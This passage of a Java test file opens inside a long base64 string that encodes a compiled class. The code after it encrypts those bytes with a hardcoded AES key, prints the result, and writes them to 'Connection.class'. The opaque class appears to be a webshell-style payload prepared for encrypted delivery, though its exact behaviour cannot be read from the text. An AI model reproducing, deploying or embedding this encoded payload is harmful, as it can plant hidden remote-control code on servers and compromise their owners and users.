rYAPQABACEAAACdAAMAAwAAADEqEwIVtgBATCvGACG7AXFZK7cBc00qLLYCtxMBZbYAdLBNLLYAYLYAdLATApy2AHSwAAEADAAgACEA7gACACQAAAAiAAgAAAJTAAgCVAAMAlYAFQJXABoCWAAhAlkAIgJaACoCXQAlAAAAKgAEAAAAMQAuBWkAAAAIACkBaQCpAAEAFQAMAdkB2gACACIACACvAWEAAgABAroAPQABACEAAAD0AAQABQAAAF4qEwK7tgBATCoTAr22AEBNK8YARizGAEK7AXFZK7cBc04ttgGCmQAgLbsBcVkstwFztgK/mQAKEwFltgB0sBMCsLYAdLATAsO2AHSwOgQZBLYAYLYAdLATAsW2AHSwAAMAIQA9AEwA7gA+AEQATADuAEUASwBMAO4AAgAkAAAAMgAMAAACYwAIAmQAEAJlABgCZgAhAmgAKAJpADcCagA+AmwARQJvAEwCcQBOAnIAVwJ1ACUAAAA0AAUAAABeAC4FaQAAAAgAVgK8AKkAAQAQAE4CvgCpAAIAIQA2AdkB2gADAE4ACQCvAWEABAABAscAPQABACEAAAF9AAQACQAAAJ0qEwK7tgBATCoTAr22AEBNK8YAhSzGAIG7AXFZK7cBc067AXFZLLcBczoELbYBgpkAVS22AoiZAE67AotZLbcCjToFuwH2WRkEtwKqOgYRFAC8CDoHAzYIpwANGQYZBwMVCLYB+RkFGQe2ApNZNggCo//rGQW2ApEZBrYCAhMBZbYAdLATAsi2AHSwOgUZBbYAYLYAdLATAsW2AHSwAAIAKwCDAIsA7gCEAIoAiwDuAAIAJAAAAFIAFAAAAnoACAJ7ABACfAAYAn0AIQJ+ACsCgAA5AoEAQwKCAE4CgwBVAoQAWAKFAFsChgBlAoUAcwKIAHgCiQB9AooAhAKMAIsCjgCNAo8AlgKSACUAAABmAAoAAACdAC4FaQAAAAgAlQK8AKkAAQAQAI0CvgCpAAIAIQB1AsoB2gADACsAawLLAdoABABDAEECngKfAAUATgA2Aq4CCwAGAFUALwD2AA8ABwBYACwCDQD8AAgAjQAJAK8BYQAFAAECzAA9AAEAIQAAAPIAAwAFAAAAYioTAs22AqVMKhMCz7YAQE0rxgBKLMYARrsAAVkqtgBGtgLRtwLVTi0rtgLWOgQqtAB5LBkEtgC5VxMBZbYAdLBOKrQAeSy2AHvGAAoTAWW2AHSwLbYAYLYAdLATAti2AHSwAAEAGAA/AEAA7gACACQAAAAyAAwAAAKXAAgCmAAQApkAGAKbACcCnAAuAp0AOQKeAEACnwBBAqAATAKhAFMCowBbAqYAJQAAAD4ABgAAAGIALgVpAAAACABaAs4ADwABABAAUgCoAKkAAgAnABkAAgVpAAMALgASAtoAEwAEAEEAGgCvAWEAAwABAVsBXAABACEAAACRAAgAAgAAAEUqtADExgA/Kiq0AMQTARkEvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TBL0AR1kDK1O2ASGwAbAAAQAdACMAKgCmAAIAJAAAABYABQAAAqsABwKsADcCrQA/AqwAQwKvACUAAAAWAAIAAABFAC4FaQAAAAAARQLbAKkAAQABAV8BYAABACEAAADKAAgAAwAAAGwqtADExgBnKiq0AMQTAtwFvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TWQSyAt5ZxwAdVxMC4LgAWlmzAt6nAA+7AF5aX7YAYLcAZr9TBb0AR1kDK1NZBCxTtgEhV7EAAgAdACMAKgCmAEEARwBOAKYAAgAkAAAAFgAFAAACswAHArQAWwK1AGcCtABrArcAJQAAACAAAwAAAGwALgVpAAAAAABsAtsAqQABAAAAbALiAAsAAgABAuMAPQABACEAAAKEAAgACgAAASYqEwLktgBATCvGARYrtgHOngEPAU27AuZZtwLoTiu4Auk2BBUEngB5AzYFpwAuKhMC7AS9AEdZA7sBtFkVBbcC7lO4ATW2AEA6BhkGxgAKLRkGtgLwV4QFARUFFQSh/9EttgLzvQB1OgUDNganABQZBRUGLRUGtgL2wAB1U4QGARUGLbYC86H/6bgC+S0DvQB1tgL/wAMDtgMFTacAChMDCbYAdLAsxwAKEwMLtgB0sCy2Aw06BSy2AxI6BrsAkVkRBAC3AxU6BxECCbwIOggDNgkZBcYAHacADRkHGQgDFQm2AxYZBRkItgH8WTYJnf/sGQbGAB2nAA0ZBxkIAxUJtgMWGQYZCLYB/Fk2CZ3/7BkHtgCjsE0stgBgtgB0sBMDF7YAdLAAAwATAKQBFgDuAKUArwEWAO4AsAEVARYA7gACACQAAACWACUAAAK6AAgCuwATAr0AFQK/AB0CwAAjAsEAKALCAC4CwwBKAsQATwLFAFYCwgBgAsgAaQLJAG8CygB9AskAiQLMAJsCzQCeAs4ApQLRAKkC0gCwAtUAtgLWALwC2ADIAtoAzwLbANIC3QDXAt4A2gLfAOQC3gDxAuMA9gLkAPkC5QEDAuQBEALpARYC6gEXAusBHwLuACUAAACYAA8AAAEmAC4FaQAAAAgBHgMZAKkAAQAVAQEDGgMbAAIAHQD5AxwDHQADACMA8wLlAPwABAArADUB4AD8AAUASgAMAx4AqQAGAGkAMgMfAwQABQBsAB0B4AD8AAYAtgBgAPcCDAAFALwAWgMgAgwABgDIAE4DIQARAAcAzwBHAyIADwAIANIARAINAPwACQEXAAgArwFhAAIAAQMjAD0AAQAhAAAEswAGAAYAAANHuAMktgMoTLsAdVm3AW1NuwFuWSy4AYq3AY4TAy62AX4qtgMwtgF+EwGPtgF+tgGBTbsBblksuAGKtwGOEwMytgF+uwFxWRMBvbcBc7YBdLYBeBMBfLYBfhMBj7YBfrYBgU27AW5ZLLgBircBjhMDNLYBfhMDNrgDOLYBfhMBj7YBfrYBgU27AW5ZLLgBircBjhMDO7YBfhMDPbgDOLYBfhMBj7YBfrYBgU0TAz+4AzhOLS22Ac4EZLYDQTYEFQQQXJ8AHxUEEC+fABi7AW5ZLbgBircBjrIDRbYBfrYBgU67AW5ZLLgBircBjhMDSLYBfi22AX4TAY+2AX62AYFNpwAETrsBblksuAGKtwGOEwNKtgF+KrYDTLYBfhMBj7YBfrYBgU27AW5ZLLgBircBjhMDT7YBfiq2A1G2AX4TAY+2AX62AYFNuwFuWSy4AYq3AY4TA1S2AX4qtAC+xwAJEwNWpwAguwFuWSq0AL62A1i4A1u4AYq3AY4TAY+2AX62AYG2AX62AYFNuwFuWSy4AYq3AY4TA122AX4qtADBxwAJEwNWpwAguwFuWSq0AMG2A1i4A1u4AYq3AY4TAY+2AX62AYG2AX62AYFNuwFuWSy4AYq3AY4TA1+2AX4qtADExwAJEwNWpwAguwFuWSq0AMS2A1i4A1u4AYq3AY4TAY+2AX62AYG2AX62AYFNuwFuWSy4AYq3AY4TA2G2AX4TA2MGvQBHWQMTA2W4AzhTWQQTA2e4AzhTWQUTA2m4AzhTuAE1tgF+EwGPtgF+tgGBTacAJk67AW5ZLLgBircBjhMDYbYBfi22AGC2AX4TAY+2AX62AYFNuwFuWSy4AYq3AY4TA2u2AX64A222AX4TAY+2AX62AYFNpwA/K7kDcAEATi3BAHWZADEtwAB1OgS7AW5ZLLgBircBjhkEtgF+EwN1tgF+GQS4Azi2AX4TAY+2AX62AYFNK7kDdwEAmv++KrYDek4txgBULbkDfgEAuQOEAQA6BKcAOhkEuQOKAQDAAHU6BbsBblksuAGKtwGOGQW2AX4TA3W2AX4tGQW5A48CALYBeBMBj7YBfrYBgU0ZBLkDkAEAmv/CLLYAdLBMK7YAYLYAdLAAAwCqAP8BAgDuAg0CUAJTAO4AAAM9Az4A7gACACQAAADCADAAAAL0AAcC9QAPAvYAMQL3AGIC+ACGAvkAqgL7ALEC/AC9Av0AywL+AOADAAD/AwEBAwMEASUDBQFHAwYBWAMHAYUDBgGJAwgBmgMJAccDCAHLAwoB3AMLAgkDCgINAw0CIQMOAjkDDwJAAw0CRgMQAkwDDQJQAxECVAMSAnYDFAKXAxUCmgMWAqEDFwKoAxgCrgMZAtYDFQLfAxwC5AMdAugDHgL1Ax8C+AMgAwQDIQMvAx8DOQMkAz4DJQM/AycAJQAAAHoADAAAA0cALgVpAAAABwM3AywDkwABAA8DLwOUAKkAAgCxAE4DlQCpAAMAvQBCA5YDlwAEAlQAIgCvAWEAAwKhADUArQALAAMCrgAoAPQAqQAEAuQAWgOYA5kAAwL1AEQDiAOaAAQDBAArAPQAqQAFAz8ACACvAWEAAQABA5sAPQABACEAAADkAAUABQAAAFC7A5xZtwOeTCu7A59ZuAOhtgOntAOruAOhtgOntAOwtwOztgO2TbsAkVm3AJNOLBMDui24A7y4A8JXLbYAozoELbYA6xkEsEwrtgBgtgB0sAABAAAARgBHAO4AAgAkAAAANgANAAADLQAIAy4ACQMvABYDMAAfAy8AIgMuACYDMQAuAzIAOgMzAEADNABEAzUARwM2AEgDNwAlAAAAPgAGAAAAUAAuBWkAAAAIAD8DxQPGAAEAJgAhA8cDyAACAC4AGQPJABEAAwBAAAcA9gAPAAQASAAIAK8BYQABAAEDygA9AAIDywAAAAQAAQDuACEAAAYlAAkAEQAAA2cqEwPMtgBATCoTA862AEBNKhMD0LYAQE4qEwPStgBAOgQqEwPUtgBAOgUqEwPWtgBAOgYqEwPYtgBAOge7AHVZKhMD2rYCpSu3A9s6CCzGAxItxgMOGQTGAwkZBcYDBBkGxgL/GQfGAvoZCMYC9RMD3rgAWlenAAU6CRMD4LgAWlenABE6CRMD4rgAWlenAAU6ChMD5LgAWlenABE6CRMD5rgAWlenAAU6ChMD6LgAWlenAAU6CRMD6rgAWlenAAU6CQE6CRMD7Cy2AhuZADC7AW5ZEwPutwGOLbYBfhMD8LYBfhkEtgF+EwF8tgF+EwPytgF+tgGBOgmnALMTA/QstgIbmQAquwFuWRMD9rcBji22AX4TA/C2AX4ZBLYBfhMD+LYBfrYBgToJpwCCEwP6LLYCG5kAKrsBblkTA/y3AY4ttgF+EwPwtgF+GQS2AX4TAei2AX62AYE6CacAURMD/iy2AhuZACq7AW5ZEwQAtwGOLbYBfhMD8LYBfhkEtgF+EwF8tgF+tgGBOgmnACATBAIstgIbmQAWuwFuWRMEBLcBji22AX62AYE6CS0TBAa2AiMCnwAGLToJGQnGAX4BOgoZCRkFGQa4BAg6CqcABToLGQrHAA4ZCRkFGQa4BAw6ChkKuQQPAQA6CxkHEwQVtgIbmQEHEwQXOgwZCxkIuQQZAgA6DRkNuQQfAQA6DhkOuQQlAQA2DwM2EKcAPLsBblkZDLgBircBjioTBCoEvQBHWQMZDhUQBGC5BCwCAFO4ATW2BC+2AX4TAZS2AX62AYE6DIQQARUQFQ+h/8O7AW5ZGQy4AYq3AY4TAY+2AX62AYE6DKcAYAM2EKcAPLsBblkZDLgBircBjioTBCoEvQBHWQMZDRUQBGC5BDICAFO4ATW2BC+2AX4TAZS2AX62AYE6DIQQARUQFQ+h/8O7AW5ZGQy4AYq3AY4TAY+2AX62AYE6DBkNuQQ1AQCa/5wZDbkENwEAGQu5BDgBABkKuQQ5AQAZDLYAdLAZCxkIuQQ6AgA2DBkLuQQ4AQAZCrkEOQEAuwFuWRMEPbcBjhUMtgQ/EwRCtgF+tgGBtgB0sDoKGQq2AGC2AHSwuwFuWRMERLcBjiy2AX4TBEa2AX62AYG2AHSwOgkZCbYAYLYAdLATBEi2AHSwAA4AbgB1AHgA7gB6AIEAhADuAIYAjQCQAO4AkgCZAJwA7gCeAKUAqADuAKoAsQC0AO4AtgC9AMAA7gHCAc0B0ADuAb8C+QMvAO4C+gMuAy8A7gBuAvkDVQDuAvoDLgNVAO4DLwM5A1UA7gM6A1QDVQDuAAIAJAAAAU4AUwAAAzwACAM9ABADPgAYAz8AIQNAACoDQQAzA0IAPANDAE0DRABkA0UAbgNIAHUDSQB6A00AgQNOAIYDUACNA1EAkgNWAJkDVwCeA1kApQNaAKoDXwCxA2AAtgNkAL0DZQDCA2kAxQNrAM8DbADuA20A9ANsAPkDbgEGA28BKgNwATcDcQFbA3IBaANzAYwDdAGZA3UBrAN4AbcDeQG6A3wBvwN+AcIDgAHNA4EB0gOEAdcDhQHiA4cB6wOIAfYDiQH7A4oCBgOLAg8DjAIYA40CHgOOAisDjwJDA44CSQOPAk8DjgJUA40CXgOSAnUDkwJ4A5QCfgOVAosDlgKjA5UCqQOWAq8DlQK0A5QCvgOZAtUDkwLfA5sC5gOcAu0DnQL0A54C+gOhAwUDogMMA6MDEwOkAy8DpgMxA6cDOgOrA1UDrQNXA64DYAOxACUAAADoABcAAANnAC4FaQAAAAgDXwRKAKkAAQAQA1cDzwCpAAIAGANPA9EAqQADACEDRgPTAKkABAAqAz0D1QCpAAUAMwM0A9cAqQAGADwDKwPZAKkABwBNAxoDygCpAAgAhgAMAK8BYQAJAJ4ADACvAWEACQDFApAESwCpAAkBwgFtBEwETQAKAesBRAROBE8ACwH7AP8A9gCpAAwCBgD0BFAEUQANAg8A6wRSBFMADgIYAOIEVAD8AA8CGwBDAeAA/AAQAnsAQwHgAPwAEAMFACoEVQD8AAwDMQAJAK8BYQAKA1cACQCvAWEACQABAKIAPQABACEAAABxAAUAAgAAACUqtADExgARKiq0AMQTBFYBAbYBIVcTAWW2AHSwTCu2AGC2AHSwAAEAAAAbABwA7gACACQAAAAWAAUAAAO3AAcDuAAVA7oAHAO7AB0DvAAlAAAAFgACAAAAJQAuBWkAAAAdAAgArwFhAAEAAQRYAD0AAQAhAAABJQAFAAUAAAB7KhMCFbYAQEwqEwRZtgKlTSoTBFu2AEBOLccAIbsB9lkrBLcEXToEGQQstgKrGQS2Af8ZBLYCAqcAJbsEYFkrEwRitwRkOgQZBC24AumFtgRnGQQstgRqGQS2BGsTAWW2AHSwOgQTAnkEvQBHWQMZBLYAYFO4ATW2AHSwAAEAGABiAGMA7gACACQAAABCABAAAAPBAAgDwgAQA8MAGAPFABwDxgAnA8cALQPIADIDyQA3A8oAOgPLAEcDzABRA80AVwPOAFwD0ABjA9EAZQPSACUAAABIAAcAAAB7AC4FaQAAAAgAcwIWAKkAAQAQAGsEWgAPAAIAGABjBFwAqQADACcAEAKuAgsABABHABUCrgRsAAQAZQAWAK8BYQAEAAEEbQA9AAEAIQAAAa0ABQAKAAAAsyoTAhW2AEBMKhMEbrYAQE0qEwRwtgBATioTBFu2AEA6BBMEciy2AhuZABW7AXFZK7cBc7YBsLgEdLYAdLATBHcstgIbmQBQGQS4BHi2BHs2BS24BHi2BHs2BhUGvAg6B7sCi1krtwR+OggZCBUFhbYEf1gZCBkHtgKTNgkZCLYCkRUJGQe+oAAGGQewGQcVCbgEg7ATBIe2AHSwOgUTAnkEvQBHWQMZBbYAYFO4ATW2AHSwAAQAIQA8AJsA7gA9AIsAmwDuAIwAkwCbAO4AlACaAJsA7gACACQAAABSABQAAAPXAAgD2AAQA9kAGAPaACED3AArA90APQPeAEcD3wBRA+AAWgPhAGAD4gBqA+MAcwPkAHwD5QCBA+YAiQPnAIwD6QCUA+wAmwPuAJ0D7wAlAAAAcAALAAAAswAuBWkAAAAIAKsCFgCpAAEAEACjBG8AqQACABgAmwSJAKkAAwAhAJIEigCpAAQAUQBDBFwA/AAFAFoAOgRxAPwABgBgADQEiwAPAAcAagAqAp4CnwAIAHwAGAINAPwACQCdABYArwFhAAUACQSFBIYAAQAhAAAAWQAGAAMAAAATG7wITSoDLAMqvhu4BIy4ApQssAAAAAIAJAAAAA4AAwAAA/UABAP2ABED9wAlAAAAIAADAAAAEwSSAA8AAAAAABMEkwD8AAEABAAPBJQADwACAAEDfAN9AAEAIQAAASUAAwADAAAAgxMElbgDOAUGtgSXuALpPBsIoQBtsgSbWccAHVcTBJ24AFpZswSbpwAPuwBeWl+2AGC3AGa/EwSfA70ATbYATE0sxgA4LLYAUrIEoVnHAB1XEwSjuABaWbMEoacAD7sAXlpftgBgtwBmv7YAaZkADSwBAbYAbcADf7ABsE0BsAGwTAGwAAUAHAAiACkApgBQAFYAXQCmABQAeAB7AO4AAAB4AIAA7gB7AHwAgADuAAIAJAAAAC4ACwAAA/wADwP9ABQD/wBABAAAbwQBAHkEAwB7BAYAfAQHAH4ECgCABAwAgQQNACUAAAA0AAUAAACDAC4FaQAAAA8AcQSlAPwAAQBAADsAqgCrAAIAfAACAK8BYQACAIEAAgCvAWEAAQABA04AZQABACEAAABPAAEAAgAAAAsqtgNRsEwrtgBgsAABAAAABAAFAO4AAgAkAAAADgADAAAEEwAFBBQABgQWACUAAAAWAAIAAAALAC4FaQAAAAYABQCvAWEAAQAJBAoECwABACEAAAMFAAMADAAAAZUBTrIEplnHAB1XEwSouABaWbMEpqcAD7sAXlpftgBgtwBmv7YEqjoEAToFAzYGpwBOGQQVBjI6BRkFtgSuEwSxtgIjAp8AMrIEs1nHAB1XEwS1uABaWbMEs6cAD7sAXlpftgBgtwBmvxkFtgS3tgBpmQAGpwARAToFhAYBFQYZBL6h/7AZBcYBDRkFBLYEuhkFAbYEwMAEwToGGQa5BMMBADoHpwDdGQe5A4oBADoIAToJsgTEWccAHVcTBMa4AFpZswTEpwAPuwBeWl+2AGC3AGa/GQi2AEa2AGmaAGgZCLYARrYEqjoKAzYLpwBQsgTEWccAHVcTBMa4AFpZswTEpwAPuwBeWl+2AGC3AGa/GQoVCzK2BLe2AGmZAB4ZChULMgS2BLoZChULMhkItgTAwATIOgmnAA6ECwEVCxkKvqH/rhkJxwAGpwA4uwTKWbcEzDoKK8YADRkKEwTNK7YEz1csxgANGQoTBNAstgTPVxkJKhkKuQTSAwBOpwAFOggZB7kDkAEAmQAMLcb/G6cABToELbAABwAKABAAFwCmAE8AVQBcAKYAugDAAMcApgD2APwBAwCmAKYBSAF+AO4BSwF7AX4A7gACAY4BkQDuAAIAJAAAAJIAJAAABBsAAgQdACgEHgArBB8AMQQgADgEIQBzBCIAdgQkAHkEHwCEBCYAiQQnAI8EKACaBCkAowQqAKYELACvBC0AsgQuAN4ELwDoBDAA7gQxAR0EMgEmBDMBNQQ0ATgEMAFDBDgBSAQ5AUsEOwFUBDwBWAQ9AWIEPwFmBEABcARCAXsEQwGABCoBjgRIAZMESwAlAAAAjgAOAAABlQHsAKkAAAAAAZUE1gCpAAEAAAGVBNEAqQACAAIBkwTXBE0AAwAoAWYE2ATZAAQAKwFjBNoE2wAFAC4AVgHgAPwABgCaAPQE3ATdAAYAowDrA4gDmgAHAK8AzACtAAsACACyAMkE3gTfAAkA6ABbBOAE2QAKAOsAWAHgAPwACwFUACcE4QTiAAoACQNvAGUAAQAhAAAA+QACAAYAAABhuwLmWbcC6Eu4BONMpwA+K7kDcAEAwATkTSy2BOhOpwAjLbkDcAEAwATrOgQZBMYAExkEtgTtOgUqGQW5BPACAFctuQN3AQCa/9oruQN3AQCa/7+nAARMKrkE8QEAuAT0sAABAAgAUwBWAO4AAgAkAAAAOgAOAAAETwAIBFEADARWAA8EVwAZBFgAHgRZACEEWgAsBFsAMQRcADgEXQBBBFkASgRWAFMEYQBXBGMAJQAAAD4ABgAIAFkE9wTdAAAADABHBPgDkwABABkAMQT5BPoAAgAeACwE+wOTAAMALAAVBPwE/QAEADgACQT+AKkABQABA1MAZQABACEAAAD4AAgAAwAAAHAqtADBxgBiKiq0AMG2AEYTBP8EvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TtgEoTCvGACMrKrQAwQS9AEdZAxMBfFO2AG1NLMYACCy2AIawEwIXsBMFALATBQKwTCu2AGCwAAIAIAAmAC0ApgAAAF0AagDuAAIAJAAAADYADQAABGgABwRpABIEagA6BGkAPgRrAEIEbABVBG0AWQRuAF4EcABiBHMAZgR2AGoEeABrBHkAJQAAACoABAAAAHAALgVpAAAAPgAoBQQAqwABAFUADQUFAAsAAgBrAAUArwFhAAEAAQK5Ao8AAgPLAAAABAABAO4AIQAAAJkAAgAFAAAAKyu2AZaZACErtgGGTQM+pwARLB0yOgQqGQS2AreEAwEdLL6h/+8rtgUGV7EAAAACACQAAAAiAAgAAAR+AAcEfwAMBIEAEQSCABYEgwAcBIEAJQSGACoEhwAlAAAANAAFAAAAKwAuBWkAAAAAACsFCQHaAAEADAAZBQoB3gACAA4AFwHgAPwAAwAWAAYFCwHaAAQAAABvBQwAAQAhAAABCAAFAAcAAABguwLmWbcC6DoELcYAMwM2BacAJi0VBTI6BhkGxgARGQQZBrYARrYC8FenAAoZBAG2AvBXhAUBFQUtvqH/2SortgBGLBkEA70ATbYC/8AFDbYBKDoFGQUrLbYAbbA6BAGwAAEAAABbAFwA7gACACQAAAA2AA0AAASLAAkEjAANBI0AEwSOABkEjwAeBJAAKQSRACwEkgAzBI0APQSWAFQEmABcBJkAXgSbACUAAABSAAgAAABgAC4FaQAAAAAAYAEFAAsAAQAAAGAARQCpAAIAAABgASAFDwADAAkAUwUQAx0ABAAQAC0B4AD8AAUAGQAaBREACwAGAFQACACqAKsABQAAASMBJAABACEAAACSAAQABgAAAB4qK7YARiwttgEoOgUZBcYADhkFKxkEtgBtsDoFAbAAAQAAABkAGgDuAAIAJAAAABYABQAABKAADAShABEEogAaBKQAHASnACUAAAA+AAYAAAAeAC4FaQAAAAAAHgEFAAsAAQAAAB4ARQCpAAIAAAAeBRIFDgADAAAAHgEgBQ8ABAAMAA4AqgCrAAUAAAEqASsAAQAhAAAAqwADAAYAAAAnAToEpwAdKywttgUTOgQZBAS2BLoBTKcACjoFK7YFFkwrx//lGQSwAAEABgAWABkA7gACACQAAAAmAAkAAASrAAMErAAGBK4ADgSvABQEsAAWBLEAGwSyACAErAAkBLUAJQAAAD4ABgAAACcALgVpAAAAAAAnAoEAEwABAAAAJwBFAKkAAgAAACcBIAUOAAMAAwAkAKoAqwAEABsABQCvAWEABQAJBRkFGgACA8sAAAAEAAEA7gAhAAAA2gACAAYAAABCAU0qwQSvmQALKsAEr02nACkBTiq2AEY6BKcAGRkEK7YFG00BOgSnAAw6BRkEtgUWOgQZBMf/6CwEtgS6LCq2BMCwAAEAHAAmACkA7gACACQAAAA6AA4AAAS5AAIEugAJBLsADgS8ABEEvQATBL4AGQS/ABwEwQAjBMIAJgTDACsExAAyBL8ANwTIADwEyQAlAAAAPgAGAAAAQgEFAAsAAAAAAEIFHwCpAAEAAgBABQkE2wACABMAJACqAKsAAwAZAB4CgQATAAQAKwAHAK8BYQAFAAIBAwEEAAEAIQAAAtkACAAKAAABnSsTBSC4BSJNLBMFILgFIk67AuZZtwLoOgSnABQZBC22AvBXKi0TBSQBtgUmTi3H/+4DNgWnAVoqGQQVBbYC9hMFKAG2BSY6BhkGxgFBKhkGEwUqAbYFJjoHpwEoKhkHtgBGEwUsAbYBKMYA7SoZB7YARhMFLgS9AE1ZA7IBG1nHAB1XEwEduABaWbMBG6cAD7sAXlpftgBgtwBmv1O2ASjGALYqGQfAAHUTBSwDvQBHtgUmwAB1OggZCMcACRMFMKcABRkIOggqGQcTBS4EvQBHWQMZCFO2BSZXKiq0AL62AEYTAtwFvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TWQSyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TtgEoOgkZCRkIBL0AR1kDGQhTtgBtVyoZBxMFMgG2BSY6B6cALhMFNAMstgBGtgLRuAU2GQe2AEa2AGmZABIqGQcTBTIBtgUmOgenAAYBOgcZB8f+2acABToGhAUBFQUZBLYC86H+oqcABE2xAAUAgwCJAJAApgDzAPkBAACmARcBHQEkAKYANwGGAYkA7gAAAZgBmwDuAAIAJAAAAJYAJQAABM4ACATPABAE0QAZBNIAHATTACME1AAtBNIAMQTWADcE2ABIBNkATQTaAFkE2wBcBNwAbATdAHUE3gCdBN0AowTfALgE4ADHBOEA2gTiAOUE4wExBOIBNgTkAUcE5QFTBOYBVgTnAVoE6AFhBOcBZATpAW8E6gF7BOsBfgTsAYEE2wGGBPABiwTWAZgE9QGcBPgAJQAAAGYACgAAAZ0ALgVpAAAAAAGdAAoACwABAAgBkAU5AAsAAgAQAYgFOgALAAMAGQF/BTsDHQAEADQBZAHgAPwABQBIAT4FPAALAAYAWQEtBT0ACwAHALgAmwU+AKkACAE2AB0FPwCrAAkACgBKAF0AAQAhAAAATAABAAIAAAAIKrgAWrBMAbAAAQAAAAQABQDuAAIAJAAAAA4AAwAABPwABQT9AAYE/gAlAAAAFgACAAAACAVAAKkAAAAGAAIArwFhAAEACQDgAN0AAQAhAAAAawADAAIAAAArKgMzEQD/fioEMxEA/34QCHiAKgUzEQD/fhAQeIAqBjMRAP9+EBh4gDwbrAAAAAIAJAAAABIABAAABQQAHQUFACcFBAApBQYAJQAAABYAAgAAACsFQQAPAAAAKQACAeAA/AABAAEEMQBDAAEAIQAAADwAAQACAAAACCu2AHS4BUKwAAAAAgAkAAAABgABAAAFCgAlAAAAFgACAAAACAAuBWkAAAAAAAgA9gCpAAEACQQxBUQAAQAhAAADCwAGAA8AAAGbAzwqvj0HKr4FYAZsaLwITgI2BAQ2BbIAIjoGGzYHHBtkBmwGaDYIGxUIYDYJFQSeABYVCBUEB2wGaKQACxUEB2wGaDYIAzYKpwCrFQcVCGAVCbgEjDYLFQc2DBUKNg2nAHcqFQyEDAEzEQD/fhAQeCoVDIQMATMRAP9+EAh4gCoVDIQMATMRAP9+gDYOLRUNhA0BGQYVDhASfBA/fjSRVC0VDYQNARkGFQ4QDHwQP340kVQtFQ2EDQEZBhUOEAZ8ED9+NJFULRUNhA0BGQYVDhA/fjSRVBUMFQuh/4gVCxUHZAZsB2g2DBUKFQxgNgoVCzYHFQcVCaH/VBUHHKIAlSoVB4QHATMRAP9+NgstFQqECgEZBhULBXo0kVQVBxygAC8tFQqECgEZBhULB3gQP340kVQVBZkAXC0VCoQKARA9VC0VCoQKARA9VKcARyoVB4QHATMRAP9+NgwtFQqECgEZBhULB3gQP34VDAd6gDSRVC0VCoQKARkGFQwFeBA/fjSRVBUFmQAMLRUKhAoBED1UuwB1WS23ANiwAAAAAgAkAAAAogAoAAAFDgACBQ8ABQUQABAFEQATBRIAFgUTABsFFAAeBRUAJwUWAC0FFwA9BRgARQUZAEgFGgBLBRsAVwUcAGIFHQCNBR4AoAUfALMFIADGBSEA1gUcAN0FIwDoBSQA7wUlAPMFGgD6BScBAAUoAQ0FKQEcBSoBIgUrATQFLAE5BS0BQgUuAUsFMAFOBTEBWwUyAXIFMwGEBTQBiQU1AZIFOQAlAAAAtgASAAABmwVFAA8AAAACAZkFRgD8AAEABQGWBUcA/AACABABiwVIAA8AAwATAYgFSQD8AAQAFgGFBUoBPwAFABsBgAVLAAYABgAeAX0FTAD8AAcAJwF0BU0A/AAIAC0BbgVOAPwACQBIAVMFTwD8AAoAVwCcBVAA/AALAFsAggVRAPwADABfAH4FUgD8AA0AjQBJBVMA/AAOAOgACwVUAPwADAENAIUFVQD8AAsBWwA3BVYA/AAMAAkFVwFjAAEAIQAAAwgABgAMAAABmCq2Ac6aAAcDvAiwKrYAdEwDPSu+PgM2BB0cZDYFKx0EZDMQPaAAE4QEASsdBWQzED2gAAaEBAEVBJoAEhUFBn6ZAAsHFQUGfmQ2BAYVBQZgB2xoFQRkvAg6BhEBALwKOgcZBwK4BVgDNginABEZB7IAIhUINBUIT4QIARUIsgAivqH/7BkHED0Q/k8DNggDNgkQEjYKpwCKKxyEAgEzEQD/fjYLGQcVCy5ZNgucADMVCxD+oAAsFQoQBqAAExwdnwAVKxyEAgEzED2gAAoVChASoABTuwVbWRMFXbcFX78VCRULFQp4gDYJhAr6FQqcADEZBhUIhAgBFQkQEHqRVBkGFQiECAEVCRAIepFUGQYVCIQIARUJkVQQEjYKAzYJHB2h/3cVChAGoAAUGQYVCIQIARUJEBB6kVSnADkVCpoAIhkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVSnABUVChAMoAAOuwVbWRMFYLcFX78VCBkGvp8AHhUIvAg6CxkGAxkLAxkGvhUIuASMuAKUGQs6BhkGsAAAAAIAJAAAAMoAMgAABT0ABwU+AAsFQAAQBUEAEgVCABUFQwAYBUQAHQVFACcFRgAqBUcANAVIADcFSwBDBUwASwVOAFoFTwBhBVAAZwVRAG0FUgB4BVEAhAVUAIsFVQCOBVYAkQVXAJUFWACYBVkApAVaAK8FWwC2BVwA1AVdAN8FYgDpBWMA7AVkAPEFZQD/BWYBDQVnARgFaAEcBWkBHwVYASQFbQErBW4BOQVvAUEFcAFPBXEBXQVyAWcFdAFyBXYBegV3AYAFeAGRBXkBlQV7ACUAAACOAA4AAAGYBWIAqQAAABABiAVFAA8AAQASAYYFTAD8AAIAFQGDBU4A/AADABgBgAVjAPwABAAdAXsA+wD8AAUAWgE+BUgADwAGAGEBNwVLBWQABwBqABoB4AD8AAgAjgEKBU8A/AAIAJEBBwVTAPwACQCVAQMFZQD8AAoApAB7ADsA/AALAYAAFQSUAA8ACwABBWYAAAACBWc=");
|
|
byte[] x = x(bytes, true);
|
|
System.out.println(Base64.encodeBase64String(x));
|
|
Files.write(Paths.get("Connection.class"), bytes);
|
|
}
|
|
|
|
public byte[] x(byte[] s, boolean m) {
|
|
try {
|
|
Cipher c = Cipher.getInstance("AES");
|
|
c.init(m ? 1 : 2, new SecretKeySpec("3c6e0b8a9c15224a".getBytes(), "AES"));
|
|
return c.doFinal(s);
|
|
} catch (Exception var41) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
@Test
|
|
void getResult() throws IOException {
|
|
